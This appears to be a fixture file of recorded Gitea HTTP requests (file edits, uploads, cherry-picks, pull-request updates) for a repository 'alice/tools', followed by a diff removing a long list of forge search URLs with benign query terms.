{"method": "PUT", "target": "/api/v1/repos/alice/tools/contents/docker-compose.yml", "headers": ["Accept-Encoding: identity", "Content-Length: 220", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6IG5naW54OjEuMjgK\", \"sha\": \"3c7f894b1cd24c6756ec9b3bfd82c15f9f14b621\", \"message\": \"Pin nginx 1.28\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"feat/python3-support\"}"}
|
|
||||||
{"method": "DELETE", "target": "/api/v1/repos/alice/tools/contents/.htaccess", "headers": ["Accept-Encoding: identity", "Content-Length: 100", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"message\": \"Remove .htaccess\", \"sha\": \"5a928f6da25ac6d6ba65480b76d03a71cb906138\", \"branch\": \"main\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 111", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add notes\", \"head\": \"update-powershell-docs\", \"base\": \"python3-docs\", \"body\": \"Notes on the build.\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 119", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Pin nginx 1.28\", \"head\": \"feat/python3-support\", \"base\": \"fix-powershell-module\", \"body\": \"Pins the image.\"}"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_edit/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 863", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaivMiokQADQq4NtY", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\n.htaccess\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nOptions -Indexes\r\n# No directory listings\r\n\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nUpdate .htaccess\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryaivMiokQADQq4NtY\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nffc08c9292a98056320d2bd18dcbbf59f6a295a6\r\n------WebKitFormBoundaryaivMiokQADQq4NtY--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_edit/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 892", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAq0SOTFSXOPVKHAq", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\nscripts/install-script.sh\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\necho Installing the tools.\r\necho Done.\r\n\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nUpdate scripts/install-script.sh\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\ncdbcc43e2d95fc5e44c4e9ede83a863325e7d668\r\n------WebKitFormBoundaryAq0SOTFSXOPVKHAq--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 205", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyheLYQzsxsqzKRYN", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryyheLYQzsxsqzKRYN\r\nContent-Disposition: form-data; name=\"file\"; filename=\"release-notes.txt\"\r\nContent-Type: text/plain\r\n\r\nRelease notes\n\r\n------WebKitFormBoundaryyheLYQzsxsqzKRYN--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_upload/main/docs", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 877", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyCFnA1BqZxxqB6yV", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/docs", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"files\"\r\n\r\nb3d7a2fa-6915-4cd3-a102-8bb6b2a6b265\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nUpload the release notes\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nfeat/docker-support\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundaryyCFnA1BqZxxqB6yV--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 191", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB2uzyhPAU3D4O015", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryB2uzyhPAU3D4O015\r\nContent-Disposition: form-data; name=\"file\"; filename=\"build.ps1\"\r\nContent-Type: text/plain\r\n\r\n# Build\n\r\n------WebKitFormBoundaryB2uzyhPAU3D4O015--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_upload/main/scripts/powershell", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 898", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABbslrrmQcLLjC7K", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/scripts/powershell", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\nscripts/powershell\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"files\"\r\n\r\n0c3fbe09-3186-4d0e-a023-0cca305dc542\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd a PowerShell build script\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nfix-powershell-module\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundaryABbslrrmQcLLjC7K--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 739", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryka8jcMXzaKnykzrG", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"revert\"\r\n\r\nfalse\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nDocument .htaccess\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\npython3-migration\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundaryka8jcMXzaKnykzrG--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 744", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySlKUAJALvUFixMGa", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_cherrypick/6b02ec93e44121cfc39bbfbf65bdfb6226280abe/main", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"revert\"\r\n\r\nfalse\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nDocument .htaccess\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nupdate-powershell-docs\r\n------WebKitFormBoundarySlKUAJALvUFixMGa\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n2b279d9869ed64140fb507e47dd39e27d56f5f5b\r\n------WebKitFormBoundarySlKUAJALvUFixMGa--\r\n"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 388", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"create\", \"path\": \"docs/setup.md\", \"content\": \"IyBTZXR1cAo=\"}, {\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKUnVuIHRoZSB0ZXN0cyBiZWZvcmUgYSByZWxlYXNlLgpTZWUgc2V0dXAubWQuCg==\", \"sha\": \"fb5a6e4c18bfe5f548e708d52b57f2aa58f7b2a8\"}], \"message\": \"Add the PowerShell setup notes\", \"branch\": \"python3-docs\", \"new_branch\": \"fix-powershell-docs\"}"}
|
|
||||||
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents", "headers": ["Accept-Encoding: identity", "Content-Length: 282", "Host: example.com", "User-Agent: Python-urllib/3.12", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "Accept: */*", "Connection: close"], "body": "{\"files\": [{\"operation\": \"update\", \"path\": \"docs/notes.md\", \"content\": \"IyBOb3RlcwoKVGhlIHdlYiBzZXJ2ZXIgcmVhZHMgLmh0YWNjZXNzLgo=\", \"sha\": \"17e0f0dedfdc83c924c6399a21434fc8240f488c\"}], \"message\": \"Document .htaccess\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"python3-notes\"}"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_preview/main/docs/setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 44", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docs/setup.md", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "content=%23+Setup%0A%0AInstall+the+tools.%0A"}
|
|
||||||
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 31", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"feat/docker-support\"}"}
|
|
||||||
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/pulls/1", "headers": ["Accept-Encoding: identity", "Content-Length: 33", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"base\": \"fix-powershell-module\"}"}
|
|
||||||
-440
@@ -102,446 +102,6 @@
|
|||||||
/acme?q=powershell&sort=recentupdate
|
/acme?q=powershell&sort=recentupdate
|
||||||
/acme?q=.htaccess&sort=recentupdate
|
/acme?q=.htaccess&sort=recentupdate
|
||||||
|
|
||||||
# The searches of the pages gitea and Forgejo share, with the fields their
|
|
||||||
# forms send, recorded from gitea 1.27.3. Each searches for words that name
|
|
||||||
# commands and files, such as python3 and .htaccess, and for plain words. A tag
|
|
||||||
# or package name can hold a slash, so the tags and packages pages also search
|
|
||||||
# for /bin/sh. The packages pages also search for a Maven name. The issues and
|
|
||||||
# pull requests of one team, and those of one milestone, are also searched for
|
|
||||||
# SQL. Each search of a package's versions is sent for a generic package and for
|
|
||||||
# the npm package @alice/tools-cli, whose name holds a slash.
|
|
||||||
/explore/topics/search?q=python3
|
|
||||||
/pulls?type=your_repositories&sort=recentupdate&state=open&q=python3&search_mode=exact
|
|
||||||
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=python3
|
|
||||||
/issues/search?q=python3
|
|
||||||
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=python3&page=1&limit=15&mode=&archived=false
|
|
||||||
/user/search_candidates?q=python3
|
|
||||||
/notifications/watching?q=python3&sort=recentupdate
|
|
||||||
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=python3&search_mode=exact
|
|
||||||
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=python3&search_mode=exact
|
|
||||||
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=python3
|
|
||||||
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=python3&search_mode=exact
|
|
||||||
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=python3&search_mode=exact
|
|
||||||
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=python3
|
|
||||||
/org/acme/teams/-/search?q=python3
|
|
||||||
/alice/-/code?q=python3&search_mode=exact
|
|
||||||
/alice/-/projects?state=open&q=python3
|
|
||||||
/alice/-/packages/generic/tools-cli/versions?q=python3&sort=created_desc
|
|
||||||
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=python3&sort=created_desc
|
|
||||||
/alice/tools/tags?q=python3
|
|
||||||
/alice/tools/milestones?state=open&q=python3
|
|
||||||
/alice/tools/milestone/1?q=python3
|
|
||||||
/alice/tools/projects?state=open&q=python3
|
|
||||||
/alice/tools/packages?q=python3&type=
|
|
||||||
/alice/tools/issues/posters?q=python3
|
|
||||||
/alice/tools/pulls/posters?q=python3
|
|
||||||
/alice/tools/issues/search?q=python3
|
|
||||||
/alice/tools/issues/suggestions?q=python3
|
|
||||||
/-/admin/actions/runners?q=python3
|
|
||||||
/user/settings/actions/runners?q=python3
|
|
||||||
/org/acme/settings/actions/runners?q=python3
|
|
||||||
/alice/tools/settings/actions/runners?q=python3
|
|
||||||
/-/admin/users?q=python3
|
|
||||||
/-/admin/orgs?q=python3
|
|
||||||
/-/admin/repos?q=python3&sort=recentupdate
|
|
||||||
/-/admin/repos/unadopted?search=true&q=python3
|
|
||||||
/-/admin/emails?q=python3
|
|
||||||
/-/admin/packages?q=python3&type=
|
|
||||||
/explore/topics/search?q=powershell
|
|
||||||
/pulls?type=your_repositories&sort=recentupdate&state=open&q=powershell&search_mode=exact
|
|
||||||
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=powershell
|
|
||||||
/issues/search?q=powershell
|
|
||||||
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=powershell&page=1&limit=15&mode=&archived=false
|
|
||||||
/user/search_candidates?q=powershell
|
|
||||||
/notifications/watching?q=powershell&sort=recentupdate
|
|
||||||
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=powershell&search_mode=exact
|
|
||||||
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=powershell&search_mode=exact
|
|
||||||
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=powershell
|
|
||||||
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=powershell&search_mode=exact
|
|
||||||
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=powershell&search_mode=exact
|
|
||||||
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=powershell
|
|
||||||
/org/acme/teams/-/search?q=powershell
|
|
||||||
/alice/-/code?q=powershell&search_mode=exact
|
|
||||||
/alice/-/projects?state=open&q=powershell
|
|
||||||
/alice/-/packages/generic/tools-cli/versions?q=powershell&sort=created_desc
|
|
||||||
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=powershell&sort=created_desc
|
|
||||||
/alice/tools/tags?q=powershell
|
|
||||||
/alice/tools/milestones?state=open&q=powershell
|
|
||||||
/alice/tools/milestone/1?q=powershell
|
|
||||||
/alice/tools/projects?state=open&q=powershell
|
|
||||||
/alice/tools/packages?q=powershell&type=
|
|
||||||
/alice/tools/issues/posters?q=powershell
|
|
||||||
/alice/tools/pulls/posters?q=powershell
|
|
||||||
/alice/tools/issues/search?q=powershell
|
|
||||||
/alice/tools/issues/suggestions?q=powershell
|
|
||||||
/-/admin/actions/runners?q=powershell
|
|
||||||
/user/settings/actions/runners?q=powershell
|
|
||||||
/org/acme/settings/actions/runners?q=powershell
|
|
||||||
/alice/tools/settings/actions/runners?q=powershell
|
|
||||||
/-/admin/users?q=powershell
|
|
||||||
/-/admin/orgs?q=powershell
|
|
||||||
/-/admin/repos?q=powershell&sort=recentupdate
|
|
||||||
/-/admin/repos/unadopted?search=true&q=powershell
|
|
||||||
/-/admin/emails?q=powershell
|
|
||||||
/-/admin/packages?q=powershell&type=
|
|
||||||
/explore/topics/search?q=ls%20-la
|
|
||||||
/pulls?type=your_repositories&sort=recentupdate&state=open&q=ls%20-la&search_mode=exact
|
|
||||||
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=ls%20-la
|
|
||||||
/issues/search?q=ls%20-la
|
|
||||||
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=ls%20-la&page=1&limit=15&mode=&archived=false
|
|
||||||
/user/search_candidates?q=ls%20-la
|
|
||||||
/notifications/watching?q=ls%20-la&sort=recentupdate
|
|
||||||
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=ls%20-la&search_mode=exact
|
|
||||||
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=ls%20-la&search_mode=exact
|
|
||||||
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=ls%20-la
|
|
||||||
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=ls%20-la&search_mode=exact
|
|
||||||
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=ls%20-la&search_mode=exact
|
|
||||||
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=ls%20-la
|
|
||||||
/org/acme/teams/-/search?q=ls%20-la
|
|
||||||
/alice/-/code?q=ls%20-la&search_mode=exact
|
|
||||||
/alice/-/projects?state=open&q=ls%20-la
|
|
||||||
/alice/-/packages/generic/tools-cli/versions?q=ls%20-la&sort=created_desc
|
|
||||||
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=ls%20-la&sort=created_desc
|
|
||||||
/alice/tools/tags?q=ls%20-la
|
|
||||||
/alice/tools/milestones?state=open&q=ls%20-la
|
|
||||||
/alice/tools/milestone/1?q=ls%20-la
|
|
||||||
/alice/tools/projects?state=open&q=ls%20-la
|
|
||||||
/alice/tools/packages?q=ls%20-la&type=
|
|
||||||
/alice/tools/issues/posters?q=ls%20-la
|
|
||||||
/alice/tools/pulls/posters?q=ls%20-la
|
|
||||||
/alice/tools/issues/search?q=ls%20-la
|
|
||||||
/alice/tools/issues/suggestions?q=ls%20-la
|
|
||||||
/-/admin/actions/runners?q=ls%20-la
|
|
||||||
/user/settings/actions/runners?q=ls%20-la
|
|
||||||
/org/acme/settings/actions/runners?q=ls%20-la
|
|
||||||
/alice/tools/settings/actions/runners?q=ls%20-la
|
|
||||||
/-/admin/users?q=ls%20-la
|
|
||||||
/-/admin/orgs?q=ls%20-la
|
|
||||||
/-/admin/repos?q=ls%20-la&sort=recentupdate
|
|
||||||
/-/admin/repos/unadopted?search=true&q=ls%20-la
|
|
||||||
/-/admin/emails?q=ls%20-la
|
|
||||||
/-/admin/packages?q=ls%20-la&type=
|
|
||||||
/explore/topics/search?q=.htaccess
|
|
||||||
/pulls?type=your_repositories&sort=recentupdate&state=open&q=.htaccess&search_mode=exact
|
|
||||||
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=.htaccess
|
|
||||||
/issues/search?q=.htaccess
|
|
||||||
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=.htaccess&page=1&limit=15&mode=&archived=false
|
|
||||||
/user/search_candidates?q=.htaccess
|
|
||||||
/notifications/watching?q=.htaccess&sort=recentupdate
|
|
||||||
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=.htaccess&search_mode=exact
|
|
||||||
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=.htaccess&search_mode=exact
|
|
||||||
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=.htaccess
|
|
||||||
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=.htaccess&search_mode=exact
|
|
||||||
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=.htaccess&search_mode=exact
|
|
||||||
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=.htaccess
|
|
||||||
/org/acme/teams/-/search?q=.htaccess
|
|
||||||
/alice/-/code?q=.htaccess&search_mode=exact
|
|
||||||
/alice/-/projects?state=open&q=.htaccess
|
|
||||||
/alice/-/packages/generic/tools-cli/versions?q=.htaccess&sort=created_desc
|
|
||||||
/alice/-/packages/npm/@alice%2Ftools-cli/versions?q=.htaccess&sort=created_desc
|
|
||||||
/alice/tools/tags?q=.htaccess
|
|
||||||
/alice/tools/milestones?state=open&q=.htaccess
|
|
||||||
/alice/tools/milestone/1?q=.htaccess
|
|
||||||
/alice/tools/projects?state=open&q=.htaccess
|
|
||||||
/alice/tools/packages?q=.htaccess&type=
|
|
||||||
/alice/tools/issues/posters?q=.htaccess
|
|
||||||
/alice/tools/pulls/posters?q=.htaccess
|
|
||||||
/alice/tools/issues/search?q=.htaccess
|
|
||||||
/alice/tools/issues/suggestions?q=.htaccess
|
|
||||||
/-/admin/actions/runners?q=.htaccess
|
|
||||||
/user/settings/actions/runners?q=.htaccess
|
|
||||||
/org/acme/settings/actions/runners?q=.htaccess
|
|
||||||
/alice/tools/settings/actions/runners?q=.htaccess
|
|
||||||
/-/admin/users?q=.htaccess
|
|
||||||
/-/admin/orgs?q=.htaccess
|
|
||||||
/-/admin/repos?q=.htaccess&sort=recentupdate
|
|
||||||
/-/admin/repos/unadopted?search=true&q=.htaccess
|
|
||||||
/-/admin/emails?q=.htaccess
|
|
||||||
/-/admin/packages?q=.htaccess&type=
|
|
||||||
/explore/topics/search?q=docker-compose.yml
|
|
||||||
/pulls?type=your_repositories&sort=recentupdate&state=open&q=docker-compose.yml&search_mode=exact
|
|
||||||
/milestones?type=&repos=%5B2%2C1%2C%5D&sort=&state=open&q=docker-compose.yml
|
|
||||||
/issues/search?q=docker-compose.yml
|
|
||||||
/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=docker-compose.yml&page=1&limit=15&mode=&archived=false
|
|
||||||
/user/search_candidates?q=docker-compose.yml
|
|
||||||
/notifications/watching?q=docker-compose.yml&sort=recentupdate
|
|
||||||
/org/acme/issues?type=your_repositories&sort=recentupdate&state=open&q=docker-compose.yml&search_mode=exact
|
|
||||||
/org/acme/pulls?type=your_repositories&sort=recentupdate&state=open&q=docker-compose.yml&search_mode=exact
|
|
||||||
/org/acme/milestones?type=&repos=%5B2%2C%5D&sort=&state=open&q=docker-compose.yml
|
|
||||||
/org/acme/issues/developers?type=your_repositories&sort=recentupdate&state=open&q=docker-compose.yml&search_mode=exact
|
|
||||||
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=docker-compose.yml&search_mode=exact
|
|
||||||
/org/acme/milestones/developers?type=&repos=%5B%5D&sort=&state=open&q=docker-compose.yml
|
|
||||||
/org/acme/teams/-/search?q=docker-compose.yml
|
|
||||||
/acme?q=docker-compose.yml&sort=recentupdate
|
|
||||||
/alice/-/code?q=docker-compose.yml&search_mode=exact
|
|
||||||
/alice/-/projects?state=open&q=docker-compose.yml
|
|
||||||
/alice/-/packages/generic/tools-cli/versions?q=docker-compose.yml&sort=created_desc
|
|
